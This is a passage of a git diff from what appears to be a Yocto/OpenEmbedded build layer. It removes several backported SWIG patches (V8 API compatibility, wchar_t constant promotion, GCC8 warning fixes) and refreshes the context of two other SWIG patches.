- SWIGV8_Proxy *proxy = static_cast<SWIGV8_Proxy *>(parameter);
- #elif (V8_MAJOR_VERSION-0) < 4 && (SWIG_V8_VERSION < SWIGV8_SETWEAK_VERSION)
- SWIGRUNTIME void SWIGV8_Proxy_DefaultDtor(v8::Isolate *, v8::Persistent< v8::Object > *object, SWIGV8_Proxy *proxy) {
--#else
-+#elif (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- SWIGRUNTIME void SWIGV8_Proxy_DefaultDtor(const v8::WeakCallbackData<v8::Object, SWIGV8_Proxy> &data) {
- SWIGV8_Proxy *proxy = data.GetParameter();
-+#else
-+SWIGRUNTIME void SWIGV8_Proxy_DefaultDtor(const v8::WeakCallbackInfo<SWIGV8_Proxy> &data) {
-+ SWIGV8_Proxy *proxy = data.GetParameter();
- #endif
-
- delete proxy;
-@@ -312,12 +317,18 @@ SWIGRUNTIME void SWIGV8_SetPrivateData(v8::Handle<v8::Object> obj, void *ptr, sw
- } else {
- cdata->handle.MakeWeak(cdata, SWIGV8_Proxy_DefaultDtor);
- }
--#else
-+#elifif (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- if(cdata->swigCMemOwn && (SWIGV8_ClientData*)info->clientdata) {
- cdata->handle.SetWeak(cdata, ((SWIGV8_ClientData*)info->clientdata)->dtor);
- } else {
- cdata->handle.SetWeak(cdata, SWIGV8_Proxy_DefaultDtor);
- }
-+#else
-+ if(cdata->swigCMemOwn && (SWIGV8_ClientData*)info->clientdata) {
-+ cdata->handle.SetWeak(cdata, ((SWIGV8_ClientData*)info->clientdata)->dtor, v8::WeakCallbackType::kParameter);
-+ } else {
-+ cdata->handle.SetWeak(cdata, SWIGV8_Proxy_DefaultDtor, v8::WeakCallbackType::kParameter);
-+ }
- #endif
-
- #if (V8_MAJOR_VERSION-0) < 4 && (SWIG_V8_VERSION < 0x031710)
-@@ -470,7 +481,14 @@ int SwigV8Packed_Check(v8::Handle<v8::Value> valRef) {
-
- v8::Handle<v8::Object> objRef = valRef->ToObject();
- if(objRef->InternalFieldCount() < 1) return false;
-+#if (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- v8::Handle<v8::Value> flag = objRef->GetHiddenValue(SWIGV8_STRING_NEW("__swig__packed_data__"));
-+#else
-+ v8::Local<v8::Private> privateKey = v8::Private::ForApi(v8::Isolate::GetCurrent(), SWIGV8_STRING_NEW("__swig__packed_data__"));
-+ v8::Local<v8::Value> flag;
-+ if (!objRef->GetPrivate(SWIGV8_CURRENT_CONTEXT(), privateKey).ToLocal(&flag))
-+ return false;
-+#endif
- return (flag->IsBoolean() && flag->BooleanValue());
- }
-
-@@ -519,10 +537,13 @@ SWIGRUNTIME void _wrap_SwigV8PackedData_delete(v8::Isolate *isolate, v8::Persist
- SwigV8PackedData *cdata = static_cast<SwigV8PackedData *>(parameter);
- #elif (V8_MAJOR_VERSION-0) < 4 && (SWIG_V8_VERSION < SWIGV8_SETWEAK_VERSION)
- SWIGRUNTIME void _wrap_SwigV8PackedData_delete(v8::Isolate *isolate, v8::Persistent<v8::Object> *object, SwigV8PackedData *cdata) {
--#else
-+#elif (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- SWIGRUNTIME void _wrap_SwigV8PackedData_delete(const v8::WeakCallbackData<v8::Object, SwigV8PackedData> &data) {
- v8::Local<v8::Object> object = data.GetValue();
- SwigV8PackedData *cdata = data.GetParameter();
-+#else
-+SWIGRUNTIME void _wrap_SwigV8PackedData_delete(const v8::WeakCallbackInfo<SwigV8PackedData> &data) {
-+ SwigV8PackedData *cdata = data.GetParameter();
- #endif
-
- delete cdata;
-@@ -537,7 +558,7 @@ SWIGRUNTIME void _wrap_SwigV8PackedData_delete(const v8::WeakCallbackData<v8::Ob
- object->Dispose(isolate);
- #elif (V8_MAJOR_VERSION-0) < 4 && (SWIG_V8_VERSION < SWIGV8_SETWEAK_VERSION)
- object->Dispose();
--#else
-+#elif (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- object.Clear();
- #endif
- }
-@@ -550,7 +571,12 @@ v8::Handle<v8::Value> SWIGV8_NewPackedObj(void *data, size_t size, swig_type_inf
- // v8::Handle<v8::Object> obj = SWIGV8_OBJECT_NEW();
- v8::Local<v8::Object> obj = SWIGV8_OBJECT_NEW();
-
-+#if (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- obj->SetHiddenValue(SWIGV8_STRING_NEW("__swig__packed_data__"), SWIGV8_BOOLEAN_NEW(true));
-+#else
-+ v8::Local<v8::Private> privateKey = v8::Private::ForApi(v8::Isolate::GetCurrent(), SWIGV8_STRING_NEW("__swig__packed_data__"));
-+ obj->SetPrivate(SWIGV8_CURRENT_CONTEXT(), privateKey, SWIGV8_BOOLEAN_NEW(true));
-+#endif
-
- #if (V8_MAJOR_VERSION-0) < 4 && (SWIG_V8_VERSION < 0x031511)
- obj->SetPointerInInternalField(0, cdata);
-@@ -573,9 +599,11 @@ v8::Handle<v8::Value> SWIGV8_NewPackedObj(void *data, size_t size, swig_type_inf
- cdata->handle.MakeWeak(v8::Isolate::GetCurrent(), cdata, _wrap_SwigV8PackedData_delete);
- #elif (V8_MAJOR_VERSION-0) < 4 && (SWIG_V8_VERSION < SWIGV8_SETWEAK_VERSION)
- cdata->handle.MakeWeak(cdata, _wrap_SwigV8PackedData_delete);
--#else
-+#elif (V8_MAJOR_VERSION-0) < 5 || (V8_MAJOR_VERSION == 5 && V8_MINOR_VERSION < 2)
- cdata->handle.SetWeak(cdata, _wrap_SwigV8PackedData_delete);
- // v8::V8::SetWeak(&cdata->handle, cdata, _wrap_SwigV8PackedData_delete);
-+#else
-+ cdata->handle.SetWeak(cdata, _wrap_SwigV8PackedData_delete, v8::WeakCallbackType::kParameter);
- #endif
-
- #if (V8_MAJOR_VERSION-0) < 4 && (SWIG_V8_VERSION < 0x031710)
---
-2.9.5
-
diff --git a/meta/recipes-devtools/swig/swig/0001-Fix-generated-code-for-constant-expressions-containi.patch b/meta/recipes-devtools/swig/swig/0001-Fix-generated-code-for-constant-expressions-containi.patch
deleted file mode 100644
index f4ed782a82..0000000000
--- a/meta/recipes-devtools/swig/swig/0001-Fix-generated-code-for-constant-expressions-containi.patch
+++ /dev/null
@@ -1,179 +0,0 @@
-From 90ba174fcea1618af57aa594199541d47a89b7f6 Mon Sep 17 00:00:00 2001
-From: William S Fulton <wsf@fultondesigns.co.uk>
-Date: Sun, 17 Sep 2017 19:02:55 +0100
-Subject: [PATCH 1/2] Fix generated code for constant expressions containing
- wchar_t L literals.
-
-Such as:
- # define __WCHAR_MAX (0x7fffffff + L'\0')
-
-Reported on swig-user mailing list.
----
- CHANGES.current | 5 +++++
- Examples/test-suite/csharp/preproc_constants_c_runme.cs | 3 ++-
- Examples/test-suite/csharp/preproc_constants_runme.cs | 2 ++
- Examples/test-suite/d/preproc_constants_c_runme.1.d | 2 ++
- Examples/test-suite/d/preproc_constants_c_runme.2.d | 2 ++
- Examples/test-suite/d/preproc_constants_runme.1.d | 2 ++
- Examples/test-suite/d/preproc_constants_runme.2.d | 2 ++
- Examples/test-suite/php/preproc_constants_c_runme.php | 2 ++
- Examples/test-suite/php/preproc_constants_runme.php | 2 ++
- Examples/test-suite/php5/preproc_constants_c_runme.php | 2 ++
- Examples/test-suite/php5/preproc_constants_runme.php | 2 ++
- Examples/test-suite/preproc_constants.i | 3 +++
- Source/CParse/parser.y | 2 +-
- 13 files changed, 29 insertions(+), 2 deletions(-)
-
-Upstream-Status: Backport
-[https://github.com/swig/swig/commit/90ba174fcea1618af57aa594199541d47a89b7f6]
-Signed-off-by: Luca Boccassi <luca.boccassi@microsoft.com>
-
-diff --git a/Examples/test-suite/csharp/preproc_constants_c_runme.cs b/Examples/test-suite/csharp/preproc_constants_c_runme.cs
-index 76c684d..1c28e49 100644
---- a/Examples/test-suite/csharp/preproc_constants_c_runme.cs
-+++ b/Examples/test-suite/csharp/preproc_constants_c_runme.cs
-@@ -61,7 +61,8 @@ public class runme {
- assert( typeof(int) == preproc_constants_c.EXPR_LAND.GetType() );
- assert( typeof(int) == preproc_constants_c.EXPR_LOR.GetType() );
- assert( typeof(double) == preproc_constants_c.EXPR_CONDITIONAL.GetType() );
--
-+ assert( typeof(int) == preproc_constants_c.EXPR_WCHAR_MAX.GetType() );
-+ assert( typeof(int) == preproc_constants_c.EXPR_WCHAR_MIN.GetType() );
- }
- static void assert(bool assertion) {
- if (!assertion)
-diff --git a/Examples/test-suite/csharp/preproc_constants_runme.cs b/Examples/test-suite/csharp/preproc_constants_runme.cs
-index 9fae591..6b02e30 100644
---- a/Examples/test-suite/csharp/preproc_constants_runme.cs
-+++ b/Examples/test-suite/csharp/preproc_constants_runme.cs
-@@ -60,6 +60,8 @@ public class runme {
- assert( typeof(bool) == preproc_constants.EXPR_LAND.GetType() );
- assert( typeof(bool) == preproc_constants.EXPR_LOR.GetType() );
- assert( typeof(double) == preproc_constants.EXPR_CONDITIONAL.GetType() );
-+ assert( typeof(int) == preproc_constants.EXPR_WCHAR_MAX.GetType() );
-+ assert( typeof(int) == preproc_constants.EXPR_WCHAR_MIN.GetType() );
-
- }
- static void assert(bool assertion) {
-diff --git a/Examples/test-suite/d/preproc_constants_c_runme.1.d b/Examples/test-suite/d/preproc_constants_c_runme.1.d
-index d846c71..2b349af 100644
---- a/Examples/test-suite/d/preproc_constants_c_runme.1.d
-+++ b/Examples/test-suite/d/preproc_constants_c_runme.1.d
-@@ -61,4 +61,6 @@ void main() {
- static assert(is(int == typeof(EXPR_LAND())));
- static assert(is(int == typeof(EXPR_LOR())));
- static assert(is(double == typeof(EXPR_CONDITIONAL())));
-+ static assert(is(int == typeof(EXPR_WCHAR_MAX())));
-+ static assert(is(int == typeof(EXPR_WCHAR_MIN())));
- }
-diff --git a/Examples/test-suite/d/preproc_constants_c_runme.2.d b/Examples/test-suite/d/preproc_constants_c_runme.2.d
-index 9bdbb93..1bac525 100644
---- a/Examples/test-suite/d/preproc_constants_c_runme.2.d
-+++ b/Examples/test-suite/d/preproc_constants_c_runme.2.d
-@@ -61,4 +61,6 @@ void main() {
- static assert(is(int == typeof(EXPR_LAND())));
- static assert(is(int == typeof(EXPR_LOR())));
- static assert(is(double == typeof(EXPR_CONDITIONAL())));
-+ static assert(is(int == typeof(EXPR_WCHAR_MAX())));
-+ static assert(is(int == typeof(EXPR_WCHAR_MIN())));
- }
-diff --git a/Examples/test-suite/d/preproc_constants_runme.1.d b/Examples/test-suite/d/preproc_constants_runme.1.d
-index 009405f..f743f48 100644
---- a/Examples/test-suite/d/preproc_constants_runme.1.d
-+++ b/Examples/test-suite/d/preproc_constants_runme.1.d
-@@ -60,4 +60,6 @@ void main() {
- static assert(is(bool == typeof(EXPR_LAND())));
- static assert(is(bool == typeof(EXPR_LOR())));
- static assert(is(double == typeof(EXPR_CONDITIONAL())));
-+ static assert(is(int == typeof(EXPR_WCHAR_MAX())));
-+ static assert(is(int == typeof(EXPR_WCHAR_MIN())));
- }
-diff --git a/Examples/test-suite/d/preproc_constants_runme.2.d b/Examples/test-suite/d/preproc_constants_runme.2.d
-index 2d92ef0..0d96c37 100644
---- a/Examples/test-suite/d/preproc_constants_runme.2.d
-+++ b/Examples/test-suite/d/preproc_constants_runme.2.d
-@@ -60,4 +60,6 @@ void main() {
- static assert(is(bool == typeof(EXPR_LAND())));
- static assert(is(bool == typeof(EXPR_LOR())));
- static assert(is(double == typeof(EXPR_CONDITIONAL())));
-+ static assert(is(int == typeof(EXPR_WCHAR_MAX())));
-+ static assert(is(int == typeof(EXPR_WCHAR_MIN())));
- }
-diff --git a/Examples/test-suite/php/preproc_constants_c_runme.php b/Examples/test-suite/php/preproc_constants_c_runme.php
-index af9b76e..e59fe18 100644
---- a/Examples/test-suite/php/preproc_constants_c_runme.php
-+++ b/Examples/test-suite/php/preproc_constants_c_runme.php
-@@ -62,5 +62,7 @@ check::equal(gettype(preproc_constants_c::EXPR_OR), "integer", "preproc_constant
- check::equal(gettype(preproc_constants_c::EXPR_LAND), "integer", "preproc_constants.EXPR_LAND has unexpected type");
- check::equal(gettype(preproc_constants_c::EXPR_LOR), "integer", "preproc_constants.EXPR_LOR has unexpected type");
- check::equal(gettype(preproc_constants_c::EXPR_CONDITIONAL), "double", "preproc_constants.EXPR_CONDITIONAL has unexpected type");
-+check::equal(gettype(preproc_constants_c::EXPR_WCHAR_MAX), "integer", "preproc_constants.EXPR_WCHAR_MAX has unexpected type");
-+check::equal(gettype(preproc_constants_c::EXPR_WCHAR_MIN), "integer", "preproc_constants.EXPR_WCHAR_MIN has unexpected type");
-
- ?>
-diff --git a/Examples/test-suite/php/preproc_constants_runme.php b/Examples/test-suite/php/preproc_constants_runme.php
-index 5c9119b..8e117ea 100644
---- a/Examples/test-suite/php/preproc_constants_runme.php
-+++ b/Examples/test-suite/php/preproc_constants_runme.php
-@@ -61,5 +61,7 @@ check::equal(gettype(preproc_constants::EXPR_OR), "integer", "preproc_constants.
- check::equal(gettype(preproc_constants::EXPR_LAND), "boolean", "preproc_constants.EXPR_LAND has unexpected type");
- check::equal(gettype(preproc_constants::EXPR_LOR), "boolean", "preproc_constants.EXPR_LOR has unexpected type");
- check::equal(gettype(preproc_constants::EXPR_CONDITIONAL), "double", "preproc_constants.EXPR_CONDITIONAL has unexpected type");
-+check::equal(gettype(preproc_constants::EXPR_WCHAR_MAX), "integer", "preproc_constants.EXPR_WCHAR_MAX has unexpected type");
-+check::equal(gettype(preproc_constants::EXPR_WCHAR_MIN), "integer", "preproc_constants.EXPR_WCHAR_MIN has unexpected type");
-
- ?>
-diff --git a/Examples/test-suite/php5/preproc_constants_c_runme.php b/Examples/test-suite/php5/preproc_constants_c_runme.php
-index 1ea0195..d978fab 100644
---- a/Examples/test-suite/php5/preproc_constants_c_runme.php
-+++ b/Examples/test-suite/php5/preproc_constants_c_runme.php
-@@ -62,5 +62,7 @@ check::equal(gettype(preproc_constants_c::EXPR_OR), "integer", "preproc_constant
- check::equal(gettype(preproc_constants_c::EXPR_LAND), "integer", "preproc_constants.EXPR_LAND has unexpected type");
- check::equal(gettype(preproc_constants_c::EXPR_LOR), "integer", "preproc_constants.EXPR_LOR has unexpected type");
- check::equal(gettype(preproc_constants_c::EXPR_CONDITIONAL), "double", "preproc_constants.EXPR_CONDITIONAL has unexpected type");
-+check::equal(gettype(preproc_constants_c::EXPR_WCHAR_MAX), "integer", "preproc_constants.EXPR_WCHAR_MAX has unexpected type");
-+check::equal(gettype(preproc_constants_c::EXPR_WCHAR_MIN), "integer", "preproc_constants.EXPR_WCHAR_MIN has unexpected type");
-
- ?>
-diff --git a/Examples/test-suite/php5/preproc_constants_runme.php b/Examples/test-suite/php5/preproc_constants_runme.php
-index fb9ee4f..7527026 100644
---- a/Examples/test-suite/php5/preproc_constants_runme.php
-+++ b/Examples/test-suite/php5/preproc_constants_runme.php
-@@ -70,5 +70,7 @@ check::equal(gettype(preproc_constants::EXPR_LAND), "integer", "preproc_constant
- check::equal(gettype(preproc_constants::EXPR_LOR), "integer", "preproc_constants.EXPR_LOR has unexpected type");
-
- check::equal(gettype(preproc_constants::EXPR_CONDITIONAL), "double", "preproc_constants.EXPR_CONDITIONAL has unexpected type");
-+check::equal(gettype(preproc_constants::EXPR_WCHAR_MAX), "integer", "preproc_constants.EXPR_WCHAR_MAX has unexpected type");
-+check::equal(gettype(preproc_constants::EXPR_WCHAR_MIN), "integer", "preproc_constants.EXPR_WCHAR_MIN has unexpected type");
-
- ?>
-diff --git a/Examples/test-suite/preproc_constants.i b/Examples/test-suite/preproc_constants.i
-index 3a999ad..16b44c9 100644
---- a/Examples/test-suite/preproc_constants.i
-+++ b/Examples/test-suite/preproc_constants.i
-@@ -87,6 +87,9 @@
- #define EXPR_LOR 0xFF || 1
- #define EXPR_CONDITIONAL true ? 2 : 2.2
-
-+#define EXPR_WCHAR_MAX (0x7fffffff + L'\0')
-+#define EXPR_WCHAR_MIN (-EXPR_WCHAR_MAX - 1)
-+
- #define EXPR_CHAR_COMPOUND_ADD 'A' + 12
- #define EXPR_CHAR_COMPOUND_LSHIFT 'B' << 6
- #define H_SUPPRESS_SCALING_MAGIC (('s'<<24) | ('u'<<16) | ('p'<<8) | 'p')
-diff --git a/Source/CParse/parser.y b/Source/CParse/parser.y
-index 2e92cd0..273dadb 100644
---- a/Source/CParse/parser.y
-+++ b/Source/CParse/parser.y
-@@ -194,7 +194,7 @@ int SWIG_cparse_template_reduce(int treduce) {
- * ----------------------------------------------------------------------------- */
-
- static int promote_type(int t) {
-- if (t <= T_UCHAR || t == T_CHAR) return T_INT;
-+ if (t <= T_UCHAR || t == T_CHAR || t == T_WCHAR) return T_INT;
- return t;
- }
-
---
-2.9.5
-
diff --git a/meta/recipes-devtools/swig/swig/0001-Use-proc-self-exe-for-swig-swiglib-on-non-Win32-plat.patch b/meta/recipes-devtools/swig/swig/0001-Use-proc-self-exe-for-swig-swiglib-on-non-Win32-plat.patch
index 81df3e264f..f27f80ea18 100644
--- a/meta/recipes-devtools/swig/swig/0001-Use-proc-self-exe-for-swig-swiglib-on-non-Win32-plat.patch
+++ b/meta/recipes-devtools/swig/swig/0001-Use-proc-self-exe-for-swig-swiglib-on-non-Win32-plat.patch
@@ -13,13 +13,11 @@ http://sourceforge.net/mailarchive/message.php?msg_id=29179733
Source/Modules/main.cxx | 24 ++++++++++++++++++++++--
1 file changed, 22 insertions(+), 2 deletions(-)
-diff --git a/Source/Modules/main.cxx b/Source/Modules/main.cxx
-index d2f5d3b..cbb0a12 100644
--- a/Source/Modules/main.cxx
+++ b/Source/Modules/main.cxx
-@@ -26,6 +26,11 @@ char cvsroot_main_cxx[] = "$Id$";
- #include "cparse.h"
+@@ -25,6 +25,11 @@
#include <ctype.h>
+ #include <errno.h>
#include <limits.h> // for INT_MAX
+#ifndef _WIN32
+#include <cstddef>
@@ -29,7 +27,7 @@ index d2f5d3b..cbb0a12 100644
// Global variables
-@@ -902,9 +907,9 @@ int SWIG_main(int argc, char *argv[], Language *l) {
+@@ -934,9 +939,9 @@ int SWIG_main(int argc, char *argv[], co
// Check for SWIG_LIB environment variable
if ((c = getenv("SWIG_LIB")) == (char *) 0) {
@@ -40,7 +38,7 @@ index d2f5d3b..cbb0a12 100644
if (!(GetModuleFileName(0, buf, MAX_PATH) == 0 || (p = strrchr(buf, '\\')) == 0)) {
*(p + 1) = '\0';
SwigLib = NewStringf("%sLib", buf); // Native windows installation path
-@@ -914,7 +919,22 @@ int SWIG_main(int argc, char *argv[], Language *l) {
+@@ -946,7 +951,22 @@ int SWIG_main(int argc, char *argv[], co
if (Len(SWIG_LIB_WIN_UNIX) > 0)
SwigLibWinUnix = NewString(SWIG_LIB_WIN_UNIX); // Unix installation path using a drive letter (for msys/mingw)
#else
@@ -64,6 +62,3 @@ index d2f5d3b..cbb0a12 100644
#endif
} else {
SwigLib = NewString(c);
---
-1.7.9.5
-
diff --git a/meta/recipes-devtools/swig/swig/0001-configure-use-pkg-config-for-pcre-detection.patch b/meta/recipes-devtools/swig/swig/0001-configure-use-pkg-config-for-pcre-detection.patch
index 1b1128acab..fdb9760e89 100644
--- a/meta/recipes-devtools/swig/swig/0001-configure-use-pkg-config-for-pcre-detection.patch
+++ b/meta/recipes-devtools/swig/swig/0001-configure-use-pkg-config-for-pcre-detection.patch
@@ -4,16 +4,14 @@ Date: Tue, 17 Jun 2014 08:18:17 +0200
Subject: [PATCH] configure: use pkg-config for pcre detection
Signed-off-by: Koen Kooi <koen.kooi@linaro.org>
-Upstream-Status: pending
+Upstream-Status: Pending
---
configure.ac | 38 +++++++-------------------------------
1 file changed, 7 insertions(+), 31 deletions(-)
-diff --git a/configure.ac b/configure.ac
-index 0c984b7..6edcec1 100644
--- a/configure.ac
+++ b/configure.ac
-@@ -70,38 +70,14 @@ AC_MSG_RESULT([$with_pcre])
+@@ -52,38 +52,14 @@ AC_MSG_RESULT([$with_pcre])
dnl To make configuring easier, check for a locally built PCRE using the Tools/pcre-build.sh script
if test x"${with_pcre}" = xyes ; then
@@ -59,6 +57,3 @@ index 0c984b7..6edcec1 100644
dnl CCache
---
-1.9.3
-
diff --git a/meta/recipes-devtools/swig/swig/Python-Fix-new-GCC8-warnings-in-generated-code.patch b/meta/recipes-devtools/swig/swig/Python-Fix-new-GCC8-warnings-in-generated-code.patch
deleted file mode 100644
index a91385916c..0000000000
--- a/meta/recipes-devtools/swig/swig/Python-Fix-new-GCC8-warnings-in-generated-code.patch
+++ /dev/null
@@ -1,191 +0,0 @@
-From b6c0ef4b8f6e5c089ac7104b3aaba8f1d17b8b82 Mon Sep 17 00:00:00 2001
-From: Olly Betts <olly@survex.com>
-Date: Mon, 11 Jun 2018 15:51:53 +1200
-Subject: [PATCH] [Python] Fix new GCC8 warnings in generated code
-
-Avoid casts between incompatible function types where possible (when
-keyword args are in use, it is not possible to avoid such warnings as
-they are inherent in the design of Python's C API in that particular
-case). Fixes #1259.
-
-Upstream-Status: Backport
-[https://github.com/swig/swig/commit/7f9883011029674553a2a4b623d459f02b512458]
-
-Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
----
- Lib/python/pyinit.swg | 4 ++--
- Lib/python/pyrun.swg | 34 ++++++++++++++++++++++++++--------
- Source/Modules/python.cxx | 26 +++++++++++++-------------
- 3 files changed, 41 insertions(+), 23 deletions(-)
-
-diff --git a/Lib/python/pyinit.swg b/Lib/python/pyinit.swg
-index 2cc5828..6bf68c1 100644
---- a/Lib/python/pyinit.swg
-+++ b/Lib/python/pyinit.swg
-@@ -368,8 +368,8 @@ SWIG_init(void) {
- (char *)"this", &SwigPyBuiltin_ThisClosure, NULL, NULL, NULL
- };
- static SwigPyGetSet thisown_getset_closure = {
-- (PyCFunction) SwigPyObject_own,
-- (PyCFunction) SwigPyObject_own
-+ SwigPyObject_own,
-+ SwigPyObject_own
- };
- static PyGetSetDef thisown_getset_def = {
- (char *)"thisown", SwigPyBuiltin_GetterClosure, SwigPyBuiltin_SetterClosure, NULL, &thisown_getset_closure
-diff --git a/Lib/python/pyrun.swg b/Lib/python/pyrun.swg
-index ab1237f..3d0b1b3 100644
---- a/Lib/python/pyrun.swg
-+++ b/Lib/python/pyrun.swg
-@@ -465,6 +465,14 @@ SwigPyObject_repr(SwigPyObject *v, PyObject *args)
- return repr;
- }
-
-+/* We need a version taking two PyObject* parameters so it's a valid
-+ * PyCFunction to use in swigobject_methods[]. */
-+SWIGRUNTIME PyObject *
-+SwigPyObject_repr2(PyObject *v, PyObject *SWIGUNUSEDPARM(args))
-+{
-+ return SwigPyObject_repr((SwigPyObject*)v);
-+}
-+
- SWIGRUNTIME int
- SwigPyObject_compare(SwigPyObject *v, SwigPyObject *w)
- {
-@@ -594,11 +602,7 @@ SwigPyObject_append(PyObject* v, PyObject* next)
- }
-
- SWIGRUNTIME PyObject*
--#ifdef METH_NOARGS
--SwigPyObject_next(PyObject* v)
--#else
- SwigPyObject_next(PyObject* v, PyObject *SWIGUNUSEDPARM(args))
--#endif
- {
- SwigPyObject *sobj = (SwigPyObject *) v;
- if (sobj->next) {
-@@ -633,6 +637,20 @@ SwigPyObject_acquire(PyObject* v, PyObject *SWIGUNUSEDPARM(args))
- return SWIG_Py_Void();
- }
-
-+#ifdef METH_NOARGS
-+static PyObject*
-+SwigPyObject_disown2(PyObject* v, PyObject *SWIGUNUSEDPARM(args))
-+{
-+ return SwigPyObject_disown(v);
-+}
-+
-+static PyObject*
-+SwigPyObject_acquire2(PyObject* v, PyObject *SWIGUNUSEDPARM(args))
-+{
-+ return SwigPyObject_acquire(v);
-+}
-+#endif
-+
- SWIGINTERN PyObject*
- SwigPyObject_own(PyObject *v, PyObject *args)
- {
-@@ -673,12 +691,12 @@ SwigPyObject_own(PyObject *v, PyObject *args)
- #ifdef METH_O
- static PyMethodDef
- swigobject_methods[] = {
-- {(char *)"disown", (PyCFunction)SwigPyObject_disown, METH_NOARGS, (char *)"releases ownership of the pointer"},
-- {(char *)"acquire", (PyCFunction)SwigPyObject_acquire, METH_NOARGS, (char *)"acquires ownership of the pointer"},
-+ {(char *)"disown", (PyCFunction)SwigPyObject_disown2, METH_NOARGS, (char *)"releases ownership of the pointer"},
-+ {(char *)"acquire", (PyCFunction)SwigPyObject_acquire2,METH_NOARGS, (char *)"acquires ownership of the pointer"},
- {(char *)"own", (PyCFunction)SwigPyObject_own, METH_VARARGS, (char *)"returns/sets ownership of the pointer"},
- {(char *)"append", (PyCFunction)SwigPyObject_append, METH_O, (char *)"appends another 'this' object"},
- {(char *)"next", (PyCFunction)SwigPyObject_next, METH_NOARGS, (char *)"returns the next 'this' object"},
-- {(char *)"__repr__",(PyCFunction)SwigPyObject_repr, METH_NOARGS, (char *)"returns object representation"},
-+ {(char *)"__repr__",(PyCFunction)SwigPyObject_repr2, METH_NOARGS, (char *)"returns object representation"},
- {0, 0, 0, 0}
- };
- #else
-@@ -689,7 +707,7 @@ swigobject_methods[] = {
- {(char *)"own", (PyCFunction)SwigPyObject_own, METH_VARARGS, (char *)"returns/sets ownership of the pointer"},
- {(char *)"append", (PyCFunction)SwigPyObject_append, METH_VARARGS, (char *)"appends another 'this' object"},
- {(char *)"next", (PyCFunction)SwigPyObject_next, METH_VARARGS, (char *)"returns the next 'this' object"},
-- {(char *)"__repr__",(PyCFunction)SwigPyObject_repr, METH_VARARGS, (char *)"returns object representation"},
-+ {(char *)"__repr__",(PyCFunction)SwigPyObject_repr, METH_VARARGS, (char *)"returns object representation"},
- {0, 0, 0, 0}
- };
- #endif
-diff --git a/Source/Modules/python.cxx b/Source/Modules/python.cxx
-index a6801fc..72eaa77 100644
---- a/Source/Modules/python.cxx
-+++ b/Source/Modules/python.cxx
-@@ -1109,7 +1109,7 @@ public:
- * ------------------------------------------------------------ */
- int add_pyinstancemethod_new() {
- String *name = NewString("SWIG_PyInstanceMethod_New");
-- Printf(methods, "\t { (char *)\"%s\", (PyCFunction)%s, METH_O, NULL},\n", name, name);
-+ Printf(methods, "\t { \"%s\", %s, METH_O, NULL},\n", name, name);
- Delete(name);
- return 0;
- }
-@@ -2479,17 +2479,17 @@ public:
- if (!kw) {
- if (n && funpack) {
- if (num_required == 0 && num_arguments == 0) {
-- Printf(methods, "\t { (char *)\"%s\", (PyCFunction)%s, METH_NOARGS, ", name, function);
-+ Printf(methods, "\t { \"%s\", %s, METH_NOARGS, ", name, function);
- } else if (num_required == 1 && num_arguments == 1) {
-- Printf(methods, "\t { (char *)\"%s\", (PyCFunction)%s, METH_O, ", name, function);
-+ Printf(methods, "\t { \"%s\", %s, METH_O, ", name, function);
- } else {
-- Printf(methods, "\t { (char *)\"%s\", %s, METH_VARARGS, ", name, function);
-+ Printf(methods, "\t { \"%s\", %s, METH_VARARGS, ", name, function);
- }
- } else {
-- Printf(methods, "\t { (char *)\"%s\", %s, METH_VARARGS, ", name, function);
-+ Printf(methods, "\t { \"%s\", %s, METH_VARARGS, ", name, function);
- }
- } else {
-- Printf(methods, "\t { (char *)\"%s\", (PyCFunction) %s, METH_VARARGS | METH_KEYWORDS, ", name, function);
-+ Printf(methods, "\t { \"%s\", (PyCFunction)%s, METH_VARARGS|METH_KEYWORDS, ", name, function);
- }
-
- if (!n) {
-@@ -3857,7 +3857,7 @@ public:
- if (shadow) {
- if (builtin) {
- String *rname = SwigType_namestr(real_classname);
-- Printf(builtin_methods, " { \"__disown__\", (PyCFunction) Swig::Director::swig_pyobj_disown< %s >, METH_NOARGS, \"\" },\n", rname);
-+ Printf(builtin_methods, " { \"__disown__\", Swig::Director::swig_pyobj_disown< %s >, METH_NOARGS, \"\" },\n", rname);
- Delete(rname);
- } else {
- String *symname = Getattr(n, "sym:name");
-@@ -4694,13 +4694,13 @@ public:
- int argcount = Getattr(n, "python:argcount") ? atoi(Char(Getattr(n, "python:argcount"))) : 2;
- String *ds = have_docstring(n) ? cdocstring(n, AUTODOC_FUNC) : NewString("");
- if (check_kwargs(n)) {
-- Printf(builtin_methods, " { \"%s\", (PyCFunction) %s, METH_VARARGS|METH_KEYWORDS, (char *) \"%s\" },\n", symname, wname, ds);
-+ Printf(builtin_methods, " { \"%s\", (PyCFunction)%s, METH_VARARGS|METH_KEYWORDS, \"%s\" },\n", symname, wname, ds);
- } else if (argcount == 0) {
-- Printf(builtin_methods, " { \"%s\", (PyCFunction) %s, METH_NOARGS, (char *) \"%s\" },\n", symname, wname, ds);
-+ Printf(builtin_methods, " { \"%s\", %s, METH_NOARGS, \"%s\" },\n", symname, wname, ds);
- } else if (argcount == 1) {
-- Printf(builtin_methods, " { \"%s\", (PyCFunction) %s, METH_O, (char *) \"%s\" },\n", symname, wname, ds);
-+ Printf(builtin_methods, " { \"%s\", %s, METH_O, \"%s\" },\n", symname, wname, ds);
- } else {
-- Printf(builtin_methods, " { \"%s\", (PyCFunction) %s, METH_VARARGS, (char *) \"%s\" },\n", symname, wname, ds);
-+ Printf(builtin_methods, " { \"%s\", %s, METH_VARARGS, \"%s\" },\n", symname, wname, ds);
- }
- Delete(fullname);
- Delete(wname);
-@@ -4801,10 +4801,10 @@ public:
- Append(pyflags, "METH_VARARGS");
- if (have_docstring(n)) {
- String *ds = cdocstring(n, AUTODOC_STATICFUNC);
-- Printf(builtin_methods, " { \"%s\", (PyCFunction) %s, %s, (char *) \"%s\" },\n", symname, wname, pyflags, ds);
